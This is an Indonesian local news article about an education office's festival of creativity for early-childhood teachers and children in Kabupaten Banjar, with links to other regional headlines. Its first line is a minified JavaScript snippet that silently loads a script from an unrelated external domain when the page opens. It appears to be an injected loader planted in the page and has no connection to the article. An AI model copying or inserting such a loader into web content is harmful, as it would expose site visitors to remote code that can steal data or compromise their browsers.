(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Guna meningkatkan mutu pendidikan sejak usia dini dan kreatifitas anak usia dini, Dinas Pendidikan (Disdik) Kabupaten Banjar menggelar Festival Kreatifitas Guru dan Anak Usia Dini di Aula Kaspul Anwar Disdik Banjar, Kamis (11/10).
Kepala Disdik Kabupaten Banjar H Gusti Ruspan Noor SE MM mengatakan, kegiatan ini merupakan momentum tepat bagi guru untuk meningkatkan mutu pembelajaran dan mengembangkan kecerdasan anak. Seorang guru dituntut untuk lebih kreatif dan inovatif dalam merintis cara-cara baru pada anak didik, sehingga mempunyai rasa senang dan tertarik mengikuti proses belajar mengajar.
“Melalui kegiatan ini diharapkan bisa menjadi salah satu bentuk sosialisasi terhadap masyarakat secara luas yang dapat mempercepat peyebaran pendidikan Paud bagi pembangunan masa yang akan datang,” ujarnya.
Tujuan dari dilaksanakannya kegiat tersebut menurut Ruspan, sebagai upaya menumbuhkan rasa sikap sportif, disiplin, jujur dan menanamkan jiwa kebersamaan. Harapannya dapat menumbuhkan jiwa berkompetensi secara sehat dan memupik rasa kesatuan antara anak didik.
“Kegiatan yang diagendaian setiap tahun oleh Dinas Pendidikan ini semoga membuat anak dan guru kita semakin kreatif dalam media pembelajaran sehingga nyata dirasakan dan bisa lebih baik lagi,” pungkasnya.
Sementara Ketua Pelaksana yang juga merupakan Sekretaris TMT Disdik Kabupaten Banjar Dr Erny Wahdini MPd mengatakan, kegiatan yang diikuti sebanyak 300 peserta anak PAUD se Kabupaten Banjar yang dirangkai dengan beberapa kegiatan. Mulai menari, pesen show, senam, dan kegiatan kreatifitas yang sesuai dengan keterbakatannya tersebut memberikan kesempatan untuk semua anak bisa menunjukan kemampuannya masing-masing.
“Dalam acara yang dirangkai dengan berbagi kegiatan ini, mereka semua peserta kita berikan kesempatan untuk mengekspresikan diri dan bisa mengapresiasi orang lain ,” ujarnya.
Kreiteria penilaian yang dilakukan salah satunya dinilai dari kreatifitas kesesuaiaan dengan usia anak serta bahan yang digunakan harus anti toksin sehingga aman untuk anak dan untuk para pemenang nantinya akan diberikan tropy dan piagam penghargaan.
“Semoga melalui kegiatan ini untuk anak bisa meningkatkan kreatifitasnya dan bagi guru-gurunya bisa meningkatkan kompetensi bagi pendidik Paud dalam membuat belajaran, alat permainan edukatif sebagai saran pembelajaran di PAUD,” pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
This website uses cookies.